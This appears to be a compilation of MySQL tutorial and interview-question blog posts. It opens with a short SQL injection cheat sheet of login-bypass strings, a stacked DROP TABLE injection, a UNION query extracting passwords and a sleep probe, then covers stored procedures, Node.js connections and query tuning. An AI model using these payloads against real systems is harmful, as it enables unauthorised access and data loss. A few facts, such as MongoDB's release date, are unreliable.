MySQL - SQL Injection Cheat Sheet

 

Question: What is an SQL Injection Cheat Sheet?
An SQL injection cheat sheet is a resource in which you can find
detailed technical information about the many different variants of the SQL Injection vulnerability.


Question: Give few example SQL Injection Cheat Sheet?
#1 - Add comment in between Query which leads to comments out rest of the query.
Normal Query

SELECT * FROM members WHERE email = 'adminuser' AND password = 'password'; 

tempered Query

SELECT * FROM members WHERE email = 'adminuser'-- AND password = 'password'; 

(In this query will check for username only)


#2 Add comment between some part of query

SELECT id,/* comment here*/ email FROM members WHERE 1 

#3 SQL Injection Attack deleting table

SELECT id email FROM members WHERE email="arun@example.com" ; drop table users

#4 Union Injections - try to get another table data

SELECT id email FROM members WHERE email="arun@example.com" union select email,password from members

#5 Bypassing Login Screens - Un-Authentication login with modify in sql through injection
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--


#6 Get All mysql users with password

SELECT User,Password FROM mysql.user;

#7 Get MySQL version

SELECT @@version

#8 Get all MySQL tables
SELECT * FROM information_schema.tables

#9 Sleep Query
SELECT 10,sleep(100)

Get Mysql Row size too large error when change engine from MyISAM to Innodb

ALTER TABLE table_name ENGINE=InnoDB

When i try to change the engine From MyISAM to InnoDB, getting following error.

row size too large (> 8126). changing some columns to text or blob or using row_format=dynamic or row_format=compressed may help.

Solutions:

1. Add the following to the my.cnf file under [mysqld] section.

           innodb_file_per_table=1;
           innodb_file_format = Barracuda;
           innodb_log_file_size = 256M    
   
        

2. ALTER TABLE table_name ENGINE=InnoDB ROW_FORMAT=COMPRESSED KEY_BLOCK_SIZE=8;

MySQL database Administrator interview question and Answer for 6 year experienced

Question: How to reset AUTO_INCREMENT in MySQL?>

ALTER TABLE tablename AUTO_INCREMENT = 1

Question: How to concatenate multiple rows into one field?>

SELECT GROUP_CONCAT(id SEPARATOR ', ')   FROM users   WHERE city = 'india'  GROUP BY city;

(It will concatinate all the users)

Question: Which MySQL data type to use for storing boolean values?>

BIT

Question: What are best character-set for multi-language data?>

utf8mb4

Question: What is the difference between utf8mb4_unicode_ci and utf8mb4_general_ci?
utf8mb4_unicode_ci is based on the official Unicode rules for universal sorting and comparison, which sorts accurately in a wide range of languages.

utf8mb4_general_ciis a simplified set of sorting rules which aims to do as well as it can while taking many short-cuts designed to improve speed. It does not follow the Unicode rules and will result in undesirable sorting or comparison in some situations


Question: How do you set a default value for a MySQL Datetime column?>
Add the default CURRENT_TIMESTAMP
For example:

CREATE TABLE foo (
    `modification_time` DATETIME ON UPDATE CURRENT_TIMESTAMP
)

Question: What is the difference between physical and logical backup?>
physical backup is to copy for backing up all the physical files that belongs to database.(like data files,control files,log files, executables etc), we need to stop the mysql service temporary.>
In logical backup, you don't take the copies of any physical things,you only extract the data from the data files into dump files.(ex : using export )


Question: What are World's most popular Databases?>

1. Oracle
2. MySQL
3. Microsoft SQL Server
4. PostgreSQL
5. MongoDB

Question: Explain ACID?
Atomicity. All completed OR Nothing.
Consistency. Database protected from actions that may corrupt data.
Isolation. multiple actions occuring in parallel will not impact each other.
Durability. All commited statements data are safe.

Question: What does FLUSH TABLES WITH READ LOCK do?
1 set the global read lock - after this step, insert/update/delete/replace/alter statements cannot run.
2 close open tables - this step will block until all statements started previously have stopped.
3 set a flag to block commits.

FLUSH TABLES

MySQL Stored procedure interview Questions and Answer

Question: What is stored procedure?
A stored procedure is Structured Query Language (SQL) statements which has a name, a parameter list, and SQL statement(s) stored in MySQL Server.



Question: Give example of stored procedure?

DELIMITER $$
CREATE PROCEDURE getUsersAscending()
BEGIN
	SELECT 
		first_name, 
		last_name, 
		email
	FROM
		users
	ORDER BY first_name;    
END$$
DELIMITER ;

Question: Give example of stored procedure with parameter details?

DELIMITER $$
CREATE   PROCEDURE `getUsersDetails`(IdSearch INT)    
    BEGIN
	SELECT 
		first_name, 
		last_name, 
		email
	FROM
		users
	WHERE id=IdSearch;      

    END$$
DELIMITER ;

Question: To show all stored procedures:

SHOW PROCEDURE STATUS;

Question: How to show stored procedures in a specific database

SHOW PROCEDURE STATUS WHERE Db = 'db_name';

Question: MySQL stored procedures advantages?

1. Reduce network traffic
2. Make database more secure

Question: MySQL stored procedures dis-advantages?

1. Resource usages: If you use many stored procedures, the memory usage of every connection will increase substantially.
2. Troubleshooting:MySQL does not provide any facilities to debug stored procedures like other enterprise database products such as Oracle and SQL Server
3. Maintenances Developing and maintaining stored procedures often requires a specialized skill set that not all application developers possess.

Question: How to call stored procedure with OR without arguments?
Call without argument

call getUsersAscending();

Call With argument

call getUsersDetails(10);

Question: How to delete the procedure?

DROP PROCEDURE IF EXISTS getUsersAscending;

Question: What if i am trying to delete the stored procedure for non-exist.?
It will give warning only, if you have used "IF EXISTS"
It will give Error, if you have used not used "IF EXISTS"


Question: How to Alter a stored procedure in mysql?
1: Delete the Stored procedure. 

2: Re-Create the Stored procedure.

Difference between mysql.createConnection and mysql.createPool in Node.js?

mysql.createConnection

When you create a connection with mysql.createConnection, you only have one connection and it lasts until you close it OR connection closed by MySQL.

A single connection is blocking. While executing one query, it cannot execute others. hence, your application will not perform good.
Example:

var mysql = require('mysql');
var connection = mysql.createConnection({
  host     : 'localhost',
  user     : 'root',
  password : '',
  database : 'mydb',
});

mysql.createPool

mysql.createPool is a place where connections get stored.
When you request a connection from a pool,you will receive a connection that is not currently being used, or a new connection.
If you're already at the connection limit, it will wait until a connection is available before it continues.

A pool while one connection is busy running a query, others can be used to execute subsequent queries. Hence, your application will perform good.
Example:

var mysql = require('mysql');
var pool  = mysql.createPool({
  connectionLimit : 10,
  host     : 'localhost',
  user     : 'root',
  password : '',
  database : 'mydb',
});

How to check active connections in MySQL?

Question: How to check active connections in mysql?

show status where `variable_name` = 'Threads_connected';

Question: How to check the limit of MySQL active connections?

SHOW VARIABLES LIKE "max_connections";

Question: Display the list of active MySQL Process list?

show processlist;

Question: How to check the max no of connections used?

SHOW STATUS WHERE `variable_name` = 'Max_used_connections';

Question: MySQL set the max no of connections used (Temporarily/Quick)?

SET GLOBAL max_connections = 512;

Question: MySQL set the max no of connections used (Temporarily/Quick)?
Open my.cnf or my.ini in MySQL

max_connections = 512

service mysqld restart

Question: MySQL check number of connections throughout history?

show status like 'Connections%';

General error: 1364 Field city_id doesn't have a default value

I have upgraded the MySQL from 5.5 to 5.6 and then getting below type of errors.
General error: 1364 Field 'city_id' doesn't have a default value

(I was not getting such type of error, it must come after upgrading my MySQL Version from 5.5 to 5.6)

Solution: It have 3 Solutions

1. In Your Code (PHP), always set a default value (if no value) before save.
   

   $objSaveData->saveData(
       array(
           'id'=>111,
           'name'=>'New user',
           'city_id'=>0, //default value
       );
   );
   

2. Create fields with default values set in datatable. It could be empty string, which is fine for MySQL server running in strict mode.
   like below:

   ALTER TABLE `users` CHANGE `city_id` `city_id` INT(10) UNSIGNED NOT NULL DEFAULT '0';
   

3. Disable MySQL Strict Mode (Most appropriate)
   Disable it by setting your own SQL_MODE in the my.cnf file, then restart MySQL.
   
   Look for the following line:
   

   sql-mode = "STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"

   Change it to:

   sql-mode="" 

   Restart the MySQL Service.
   

How to get the sizes of the tables in mysql database?

Question: How to get the sizes of the tables in mysql database?

SELECT table_name "Table Name",SUM( data_length + index_length ) / 1024 / 1024 "Table Size (MB)",SUM( data_free )/ 1024 / 1024 "Free Space(MB)" FROM information_schema.TABLES WHERE table_schema='mydb' GROUP BY table_name ORDER BY SUM(TABLE_ROWS) DESC

(Replace mydb with Your Database Name)

Output

Question: Get record counts for all tables along with size in MySQL database?

SELECT table_name "Table Name",SUM( data_length + index_length ) / 1024 / 1024 "Table Size (MB)",SUM( data_free )/ 1024 / 1024 "Free Space(MB)", SUM(TABLE_ROWS) AS "Total Record(S)" FROM information_schema.TABLES WHERE table_schema='mydb' GROUP BY table_name ORDER BY SUM(TABLE_ROWS) DESC

(Replace mydb with Your Database Name)

Output

Best Related Posts are Following:

1. How to install and Connect to MySQL in NodeJS?.
2. What is Super Key, Candidate keys and Alternate Key?.
3. MySQL Query Optimization Tips and Techniques.
4. How can I make SQL Query case sensitive string comparison on MySQL?.
5. DBMS Interview Questions and Answers for Freshers.
6. MySQL Interview Questions and Answers for Experienced.
7. Difference between inner join and outer join in MySQL.
8. How to get a list of MySQL user accounts?.
9. How to delete MySQL Binary logs Files in Wamp Server?.

How to install and Connect to MySQL in NodeJS?

Hope you have already installed nodeJS, If not Please install first.
https://nodejs.org/en/download/

Question: How to install new package in nodejs?

npm install packagename

Question: How to install MySQL?

npm install mysql

Question: How to update MySQL?

npm update mysql

Question: How to include MySQL?

var mysql = require("mysql");

Question: How to connect to MySQL in nodeJS?

var mysql = require("mysql");
var con = mysql.createConnection({
    host: "localhost",
    user: "root",
    password: "",
    database: "mydb"
});
con.connect(function(err) {
    if (err) {
        console.log('Error connecting to database');
        return;
    }
    console.log('Connection established Successfully');
});

Question: How to connect to MySQL in single string in nodeJS?

var mysql = require("mysql");
var con = mysql.createConnection('mysql://arun:arun@localhost/database'); 
con.connect(function(err) {
    if (err) {
        console.log('Error connecting to database');
        return;
    }
    console.log('Connection established Successfully');
});

Question: How to get records from MySQL database in node.js?

var mysql = require("mysql");
var con = mysql.createConnection({
    host: "localhost",
    user: "root",
    password: "",
    database: "enterprisedev2"
});

con.query('SELECT * FROM admin_members where id<=10 ', function(err, rows) {
    for (var i = 0; i < rows.length; i++) {
        console.log(rows[i]);
    }
});

Question: How to insert record in database?

var mysql = require("mysql");
var con = mysql.createConnection('mysql://arun:arun@localhost/mydb');
var post = {
    'userID': "1",
    'userName': 'username',    
    'device': 'web',
    'stream_time': "0",
    'user_display_name': "arun kumar gupta",
    'user_photo': "hello"
};
con.query('INSERT INTO messages set ?', post, function(err, result) {
    if (err) {
        console.log(err.message);
    } else {
        console.log('record added in db');
    }
});

Question: How to print the query while inserting record?

var mysql = require("mysql");
var con = mysql.createConnection('mysql://arun:arun@localhost/mydb');
var post = {
    'userID': "1",
    'userName': 'username',    
    'device': 'web',
    'stream_time': "0",
    'user_display_name': "arun kumar gupta",
    'user_photo': "hello"
};
var mysqlProfiler = con.query('INSERT INTO messages set ?', post, function(err, result) {});
console.log(mysqlProfiler.sql);

Question: Given another way to insert data in MySQL Database?

var mysql = require("mysql");
var con = mysql.createConnection('mysql://arun:arun@localhost/enterprisedev2');

/* data insert in db */
var postData = {
    userID: "1",
    userName: "arunkg",
    userRole: "1",
    text: 'kkkkkkkkkkkkkkkk',
    status: "1",
    vid: '21'
};

var mysqlProfiler = con.query('INSERT INTO `messages` (`userID`, `userName`, `userRole`,`text`,`status`,`vid`) VALUES (' + [postData.userID, mysql.escape(postData.userName), postData.userRole, mysql.escape(postData.text), postData.status, postData.vid] + ')', function(err, result) {
    if (err) {
        //console.log(err.message);
    } else {
        console.log('record added in db');
    }
});

Best Related Posts are Following:

1. How to create http server in NodeJS?.
2. How to install and Connect to MySQL in NodeJS?.
3. Express Js Interview Questions and Answers.
4. Node Js Interview Questions and Answers for Experienced.

What is Super Key, Candidate keys and Alternate Key?

Super Key
A Super key is any combination of fields within a table that uniquely identifies each record within that table.

Example:
managers (table)

ManagerID (unique)
Name
Title
DepartmentID

ManagerID+Name=Super Key
ManagerID+Title=Super Key


Candidate keys
Candidate keys are those keys which is candidate for primary key of a table. Candidate keys are such keys which full fill all the requirements of primary key which is not null and have unique records.

Example:

Suppose we have a table named Employee which has two columns EmpID and EmpMail, both are not null and have unique value.
Both Field are Candidate keys.

Alternate Key
If any table have more than one candidate key, then after choosing primary key from those candidate key, rest of candidate keys are known as an alternate key of that table.

Example:

Suppose we have a table named Employee which has two columns EmpID and EmpMail, both are not null and have unique value.
So both columns are treated as candidate key.
IF we make EmpID as a primary key, then EmpMail is known as alternate key.

Referential integrity
Referential integrity is a database concept that ensures that relationships between two table remain consistent.

Suppose one table has a foreign key to another table. Referential integrity makes ensure the both have valid record.

Example:

products (table)
    id (primary key)
    name 
    price
    sale_price
    size

reviews (another table)
    id (primary key),    
    product_id (foreign key)
    review by
    title
    start_rating

One Product can have one Or multiple reviews.
Referential integrity make sure following:

1. You can't delete record from product table, till review exist in reviews table for same product Id.
2. You can't add record in reviews table, till you have not added record in product table for same product Id.
3. If you delete the record from product table, reviews will be deleted automatically using cascade for the same product Id.

Best Related Posts are Following:

1. MySQL Query Optimization Tips and Techniques.
2. How can I make SQL Query case sensitive string comparison on MySQL?.
3. DBMS Interview Questions and Answers for Freshers.
4. MySQL Interview Questions and Answers for Experienced.
5. Difference between inner join and outer join in MySQL.
6. How to get a list of MySQL user accounts?.
7. How to delete MySQL Binary logs Files in Wamp Server?.
8. SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 2269548 for key PRIMARY.
9. Multiple column ordering in Zend Framework.
10. Mysql Privileges - Types of privileages in MySql - How do I grant privileges in MySQL.
11. Difference Between Primary Key And Unique Key And Foreign Key And Composite Key.
12. Difference Between MyISAM and innoDB - MySQL.
13. MySQL Functions - MySQL tutorial for beginners.
14. mysqlsubqueries examples Scalar Subqueries Row Subqueries Column Subqueries Table Subqueries.
15. Mysql FullText Search Examples.
16. MySQL Constraint Example.
17. MySQL Cascade Example.
18. Mysql-Group-Concat.
19. MySQL Expressions.
20. MySQL Delete Table Example.
21. Replace Table - Update Field, Move Records to another table MySQL.
22. mysql insert syntax - Add records from another table - Copy Table from one table to another.
23. Mysql Update Syntax - Update Multiple Records.
24. What is Mysql.
25. Mysql Console Commands - Export and Import database from command line.
26. MySQL interview Questions and Answers For Experienced.

What is Mysql

What is Mysql?
MySQL is an open-source relational database management system (RDBMS). Its name is a combination of "My", the name of co-founder Michael Widenius's daughter, and "SQL", the abbreviation for Structured Query Language.
Today, Its most widely used in Web Development.

What are Client programs?

Communicating with the server to manipulate information.The following list of client programs:

• MySQL Query Browser and MySQL Administrator.
• All mysql is a command-line program.

What are three layer of Mysql Architecture?

Following are 3 layer of Mysql Architecture

1. Application Layer: It represents the interface for all type of users, The user who is interacting with databases.
   • Sophisticated User
   • Specialized User
   • Naive User
   • Database Administrators
2. Logical Layer: Core functionality of RDBMS is represented in the logical layer.
3. Physical Layer: It is responsible for the storage of variety of information and that are following.
• Data Files: It store user data
• Data dictionaryr: store metadata about the structure of the database.
• Statistical Data: Statistical information about the data
• Log Information: Keep the track of query information.

Question: In which language it was written?
C/C++


Question: What is current Stable Version ?
5.7.21 / 15 January 2018;


Question: How to change the collation of column, table and database?

ALTER TABLE `hotels` CHANGE `Name` `Name` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL;

Best Related Posts are Following:

1. MySQL Interview Questions and Answers for 3 year experience.
2. MySQL Interview questions and answers for 2 year experience.
3. Advanced MySQL Interview Questions and Answers for Experienced.
4. How can I make SQL Query case sensitive string comparison on MySQL?.
5. PHP Mysql Interview Questions and Answers for fresher and experienced.
6. Differences between Stored Procedures and Functions in MYSQL.
7. PHP MySQL interview questions and answers for experienced.
8. MySQL Interview Questions and Answers for Experienced.
9. SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 2269548 for key PRIMARY.
10. Mysql Privileges - Types of privileages in MySql - How do I grant privileges in MySQL.
11. Calculate a Sum of Time using MySQL.

MySQL User defined variables and System variables defined variables

Question: What are User-Defined Variables in MySQL?
User-Defined variables are variable that defined by user as per there need. Once they exit from the console, will be removed automatically.


Question: How to set User-Defined Variables in MySQL?

set @name="this is new variable";

Question: How to get User-Defined Variables in MySQL?

select @name;

Question: Can we define multiple variable in single line?
Yes, We can.

set @num1=10, @num2=20, @num3=30;

Question: Can we do arithmetic operators on variable?
Yes, we can do.

select @num1+@num2+@num3; //60
select @num1+@num2+@num3; //6000

Question: Is user defined variable are permanent?
No, It will be removed once close the session.


Question: Can we use user variable with Query?
Yes, If you have defined in same session, then you can use.


Question: What are System Variables?
System Variables explains how your MySQL server are configured and you can change as per your requirement.


Question: How to get the value from system variable?

select @@max_connections; //100

Question: How to update the value from system variable globally?

set @@global.max_connections=200;

set GLOBAL @@max_connections=200;

Best Related Posts are Following:

1. What is Stored Procedure in MySQL?.
2. How to get the sizes of the tables in mysql database?.
3. How to install and Connect to MySQL in NodeJS?.
4. What is Super Key, Candidate keys and Alternate Key?.
5. MySQL Query Optimization Tips and Techniques.
6. How can I make SQL Query case sensitive string comparison on MySQL?.
7. Comparison between MySQL and MongoDB.
8. DBMS Interview Questions and Answers for Freshers.
9. MySQL Interview Questions and Answers for Experienced.
10. Difference between inner join and outer join in MySQL.
11. How to get a list of MySQL user accounts?.
12. How to delete MySQL Binary logs Files in Wamp Server?.
13. SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 2269548 for key PRIMARY.
14. Multiple column ordering in Zend Framework.

What is Stored Procedure in MySQL?

Question: What is Stored Procedure?
A Stored procedure is program in a regular computing language, stored in database. It have has a name, a parameter list, and SQL statement(s).


Question: What is the purpose of stored procedure?
A stored procedure is used to retrieve data, modify data, and delete data in database table.


Question: What is Syntax for creating stored procedure?

DELIMITER $$
CREATE    
    PROCEDURE `dbName`.`storedProcedureName`()
    BEGIN

    END$$

Question: Create simple stored procedure?

CREATE
    /*[DEFINER = { user | CURRENT_USER }]*/
    PROCEDURE `dbname`.`helloArun`() 
    BEGIN
SELECT id,user_nickname,user_email FROM `cmf_users` WHERE user_email="hello@no-spam.ws";   
    END

Question: How to call stored procedure?

call helloArun();

Question: How to list stored procedure?

SHOW PROCEDURE STATUS;

Question: How to delete stored procedure?

DROP PROCEDURE storedProcedureName

Question: How to delete stored procedure If Exist?

DROP PROCEDURE IF EXISTS storedProcedureName

Question: Create simple stored procedure with argument?

CREATE    
    PROCEDURE `dbname`.`helloArun2`(
  IN email VARCHAR(255)    
    )
    BEGIN
 SELECT id,user_nickname,user_email FROM `cmf_users` WHERE user_email=email;      

    END

Question: How to call stored procedure with parameter?

call helloArun2('arunk@no-spam.ws');

Question: How to list of stored PROCEDURE?

SHOW PROCEDURE STATUS

Question: How to remove stored PROCEDURE?

DROP PROCEDURE storedProcedureName

Question: How to remove stored PROCEDURE if exist?

DROP PROCEDURE IF EXISTS storedProcedureName

Best Related Posts are Following:

1. How to get the sizes of the tables in mysql database?.
2. How to install and Connect to MySQL in NodeJS?.
3. What is Super Key, Candidate keys and Alternate Key?.
4. MySQL Query Optimization Tips and Techniques.
5. How can I make SQL Query case sensitive string comparison on MySQL?.
6. DBMS Interview Questions and Answers for Freshers.
7. MySQL Interview Questions and Answers for Experienced.

MySQL Query Optimization Tips and Techniques

1. Choosing Which Version of MySQL
2. Don't join extra tables in MySQL Query.
3. Only get N records which are going to used. Don't get extra records from table which you are not using.
4. Don't fetch extra column from table which are not in use.
5. Don't add spam records in tables
6. Don't get it overload any table like 1GB Size, In this case shift data to another table.
7. Get the understanding of normalization.
8. Use Explain/DESCRIBE to know about table structure and Query. For Example:

DESCRIBE SELECT * FROM `users` WHERE username='web-tech' 

9. Partition your table (MySQL 5.1). Paritioning is a technique for splitting a large table into several smaller ones by a specific (aggregate) key.
10. Partition can be achieve in three way 1. RANGE, HASH and List/Key.
11. Build your indexes to match the queries running. For Example:

    ALTER TABLE `users` ADD INDEX `profile_id` (`profile_id`)

    Know about MySQL Indexing
    
12. Use concatination indexing, if required (When searching like below).

    SELECT * FROM table_name  WHERE field_name1='text1' AND field_name2='text2';

13. No indexing on column which not used in search.
14. Sometime you need to use OPTIMIZE Table. For Example:

    OPTIMIZE TABLE `users`

    Used for defragment tables and update the InnoDB fulltext index
15. Full Text Search can be used, if required.
    http://www.web-technology-experts-notes.in/2013/05/mysql-fulltext-search.html

Best Related Posts are Following:

1. Why error 524 a timeout occurred.
2. Free Boost Web Application By 20% in Simple Steps.
3. Improve Ajax Performance.
4. Reduce the loading time of website.

How can I make SQL Query case sensitive string comparison on MySQL?

In Websites we display the data which fetch from database using string based conditions.
OR
Login Feature / Change password Featured based on string based conditions.
OR
Show the user detils behalf on user slug like "http://example.com/users/user-slug-value"

If you want to make your SQL Query as case sensitive, We have following 3 ways.

1. Do at MySQL Server Level
   Set Following in /etc/mysql/my.cnf (Works for >MySQL 5.5 only)

   character-set-server=utf8
   collation-server=utf8_bin

2. Set the column as Case sensitive,For Example
   

   ALTER TABLE `users` CHANGE `name` `name` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL;

3. Set the Query as case sensitive, For Example
   

   SELECT *  FROM `users` WHERE BINARY `name` = 'raJ'

Best Related Posts are Following:

1. DBMS Interview Questions and Answers for Freshers.
2. MySQL Interview Questions and Answers for Experienced.
3. Difference between inner join and outer join in MySQL.
4. How to get a list of MySQL user accounts?.
5. How to delete MySQL Binary logs Files in Wamp Server?.
6. SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 2269548 for key PRIMARY.
7. Multiple column ordering in Zend Framework.
8. Mysql Privileges - Types of privileages in MySql - How do I grant privileges in MySQL.
9. Difference Between Primary Key And Unique Key And Foreign Key And Composite Key.
10. Difference Between MyISAM and innoDB - MySQL.
11. MySQL Functions - MySQL tutorial for beginners.
12. mysqlsubqueries examples Scalar Subqueries Row Subqueries Column Subqueries Table Subqueries.
13. Mysql FullText Search Examples.
14. MySQL Constraint Example.
15. MySQL Cascade Example.
16. Mysql-Group-Concat.
17. MySQL Expressions.
18. MySQL Delete Table Example.
19. Replace Table - Update Field, Move Records to another table MySQL.
20. mysql insert syntax - Add records from another table - Copy Table from one table to another.
21. Mysql Update Syntax - Update Multiple Records.
22. What is Mysql.
23. Mysql Console Commands - Export and Import database from command line.
24. MySQL interview Questions and Answers For Experienced.

Comparison between MySQL and MongoDB

Features	MySQL	MongoDB
Logo
Type of Database?	Relational Database	Document-oriented database
Initial release	23 May 1995	13 October 2015
Current Stable Version	5.7.18 / 10 April 2017	3.4.5 / 14 June 2017
Written in	C/C++	C/C++, JavaScript
Open Source	Yes	Yes
License	GPL (version 2) or proprietary	GNU AGPL v3.0 (drivers: Apache license)
Offical Website	http://www.mysql.com	https://www.mongodb.org
How stored Data	In Structed, data is stored in tables.	Unstructed, data is stored in Collection in JSON Format.
Terminology	Table Row Column Joins	Collection Document Field Embedded documents, linking
Normalization	used to minimize data redundancy	Normalization is obsolete for MongoDB
Get data from two different tables	Joins are used	References are used
Transactions vs Atomic Updates	MySQL Support	No supported
How to get data	SQL Query is used	you need to used functions with parameter
Security	MySQL uses privilege-based security model.	MongoDB security features include authentication, authorization and auditing
Select Query	SELECT * FROM users WHERE name LIKE "%Web%";	db.books.find({"name": { "$regex":  "Web" }});
Insertion Query	INSERT INTO users (user_id, age, status)  VALUES ("100", 20, "Active")	db.users.insert({ user_id: "100", age: 20, status: "Active"})
Update Query	UPDATE users SET status = "Active"  WHERE age > 25	db.users.update( { age: { $gt: 25 } }, { $set: { status: "Active" } }, { multi: true } )
Insert data Speed	Normall	Much Faster as compare to MySQL
Best Database for Very-2 Heavy Site	Not	MongoDB is better
DBA Required	Yes, For better performance	Not required
Rich Data Model	No	Yes
Dyamic Schema	No	Yes
Typed Data	Yes	Yes
Data Locality	No	Yes
Field Updates	Yes	Yes
Easy for Programmers	No	Yes
Complex Transactions	Yes	No
Auditing	Yes	Yes
Auto-Sharding	No	Yes

Best Related Posts are Following:

1. What are differences between $(document).ready and $(window).load?.
2. Difference between MVC and MVP design pattern.
3. What is difference between event.preventDefault() and return false in Javascript?.
4. What is the difference between call and apply in javascript?.
5. Difference between inner join and outer join in MySQL.
6. Difference between theme and template in website.
7. Difference between in_array and array_key_exists in php with Example.
8. Difference between SSL and HTTPS.
9. Difference between Notice and warning and fatal error.
10. Difference between overloading and overriding in php with Example.
11. What is difference between natcasesort and sort?.
12. Difference Between Hadoop and Big-Data.
13. Difference Between Primary Key And Unique Key And Foreign Key And Composite Key.
14. PHP Sessions and Cookie and Security.
15. Difference between WebService and API.
16. Difference Between MyISAM and innoDB - MySQL.
17. Difference Between Zend framework 2 VS Zend framework 1.
18. Difference between JSON and JSONP.
19. Difference Between Cakephp and Zend Framework.
20. Difference between Abstract class and Interface in PHP.

DBMS Interview Questions and Answers for Freshers

Question: What is database?
Database is a collection of information which are stored in organised way.


Question: What is DBMS?
Full for of DBMS is Database Management System.
It is Management System which manage the databases and its table.


Question: What are the advantages of using DBMS?

1. Backup and Recovery
2. It contains two-dimensional tables with rows and columns.
3. Integrity constraints
4. Redundancy can be reduced
5. Give Access to User in controlled way.

Question: What are the disadvantage in File Processing System?

1. Data redundancy and inconsistency.
2. Data integrity.
3. Security Problems
4. Data isolation.
5. Difficult in accessing data.

Question:What is Data Model?
A collection of conceptual tools for describing data, data relationships, data semantics & constraints.
Question: What is normalization?
Normalization is the process of organizing tables in such a way that the results are always unambiguous, accurate and fast.


Question: What is BCNF (Boyce-Codd Normal Form)?
A relation schema R is in BCNF if it is in 3NF and satisfies an additional constraint that for every FD X A, X must be a candidate key.


Question: What is RDBMS?
Relational Database Management system (RDBMS) is a database management system (DBMS) that is based on the relational model.


Question: What is SQL?
Structured Query Language is a language designed specifically for communicating with databases to get the required results.


Question: What is a Record in a database?
A record is the collection of values / fields of a specific entity: i.e. an Employee.
It have employee details like employee id,name, email and address etc.


Question: What is Object Oriented model?
This model is based on collection of objects.


Question: What is an Entity?
small independent things.


Question: What is an Entity type?
It is a collection (set) of entities that have same or different attributes.


Question: What is Weak Entity set?
An entity set may not have sufficient attributes to form a primary key.


Question: What is DDL?
Full form of DDL is Data Definition Language.
DDL is a standard for commands that define the different structures in a database.
DDL statements create, modify and remove database objects such as tables, indexes, and users.
Most Common DDL statements are CREATE, ALTER and DROP.


Question: What is Data mining?
Data mining is a process of analyzing current data and summarizing the information in more useful.

Best Related Posts are Following:

1. How to get a list of MySQL user accounts?.
2. SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 2269548 for key PRIMARY.
3. Multiple column ordering in Zend Framework.
4. Mysql Privileges - Types of privileages in MySql - How do I grant privileges in MySQL.
5. Difference Between Primary Key And Unique Key And Foreign Key And Composite Key.
6. Difference Between MyISAM and innoDB - MySQL.
7. MySQL Functions - MySQL tutorial for beginners.
8. mysqlsubqueries examples Scalar Subqueries Row Subqueries Column Subqueries Table Subqueries.
9. Mysql FullText Search Examples.
10. MySQL Constraint Example.
11. MySQL Cascade Example.
12. Mysql-Group-Concat.
13. MySQL Expressions.
14. MySQL Delete Table Example.
15. Replace Table - Update Field, Move Records to another table MySQL.
16. mysql insert syntax - Add records from another table - Copy Table from one table to another.
17. Mysql Update Syntax - Update Multiple Records.
18. What is Mysql.
19. Mysql Console Commands - Export and Import database from command line.
20. MySQL interview Questions and Answers For Experienced.

MySQL Interview Questions and Answers for Experienced

Question: Can I concatenate multiple MySQL rows into one field?
use GROUP_CONCAT function
For Example

SELECT group_concat( city, '--' ) AS all_city FROM `cities`WHERE 1 LIMIT 0 , 30

Output:
New York--,London--,Chicago--,Frankfurt--,Paris--



Question: How to output MySQL query results in csv format?
Its quite simple.

• First get the queries with column which you want to write.
• Seconds Use OUTFILE (filename with location), FIELDS TERMINATED BY (field separator), ENCLOSED BY and LINES TERMINATED (Line Separator) BY for format.

SELECT city from cities INTO OUTFILE 'city.csv' FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n'

Question: How do you set a default value for a MySQL Datetime column?
You can add default time, when data type is timestamp.
See Example:

CREATE TABLE `mytable` (`id` INT NULL ,`created_at` TIMESTAMP ON UPDATE CURRENT_TIMESTAMP NOT NULL ,PRIMARY KEY ( `id` ) ) ENGINE = InnoDB;

Question: Difference between utf8_general_ci and utf8_unicode_ci?
utf8_unicode_ci is more accurately as compare to utf8_general_ci.
utf8_unicode_ci is support more lanaguages as compare to utf8_general_ci.
utf8_general_ci is faster at comparisons and sorting as compare to utf8_general_ci.



Question: How to make multiple column as unique?
use UNIQUE Constraint for creating multiple column as unique.
For Example

ALTER TABLE `mytable` ADD UNIQUE `unique_index`(`user`, `email`, `address`);

Question: How to find duplicate email records in MySQL?

SELECT u1.first_name, u1.last_name, u1.email FROM users as u1
INNER JOIN (
    SELECT email FROM users GROUP BY email HAVING count(id) > 1
    ) u2 ON u1.email = u2.email;

Question: How can you reset AUTO_INCREMENT for user table?

ALTER TABLE users AUTO_INCREMENT = 1

Question: How to make duplicate table in MySQL?

CREATE TABLE users_new LIKE users; //Copy the structure
INSERT users_new SELECT * FROM users; //copy the table rows

Question: How to Group by multiple column(i.e email and ssn)?

select * from users group by concat(email,"-",ssn);

Question: MySQL: @variable vs. variable. Whats the difference?
@variable are user-defined variable used in statements which retain its values during the same session is active.
variable are procedure variable used in store procedure only. It never retain its value. Each time store procedure called its value set to null automatic.



Question: What is query to show list of Stored Procedures?

SHOW PROCEDURE STATUS;

Question: What is query to show list of functions?

SHOW FUNCTION STATUS;

Question: How to check last queries executed on MySQL?
check mysql.log


Question: How to get the sizes of the tables of a mysql database?

SELECT table_name AS "Table", 
round(((data_length + index_length) / 1024 / 1024), 2) "Size in MB" 
FROM information_schema.TABLES 
WHERE table_schema = "geob2cdev" ORDER BY (data_length + index_length) DESC 

Question: How to check specific table details?

SHOW TABLE STATUS WHERE Name = 'users';

Question: How to rename a table?

RENAME TABLE `mytable` TO `geob2cdev`.`mytable1` ;

Question: How to rename a column?

ALTER TABLE `mytable1` CHANGE `created_at` `created_at1` TIMESTAMP; 

Question: How to insert current datetime in column?
Use Now() function

INSERT INTO `users` (`id`,`name`,create_time) VALUES (NULL,  'this is test\'s message',now());

Question: Can we have multiple order by in single Query?
Yes, We can have

select * from users where upper(name) = upper('Hello') order by name asc, id desc

Question: How to remove stored PROCEDURE?

DROP PROCEDURE storedProcedureName

Question: How to remove stored PROCEDURE if exist?

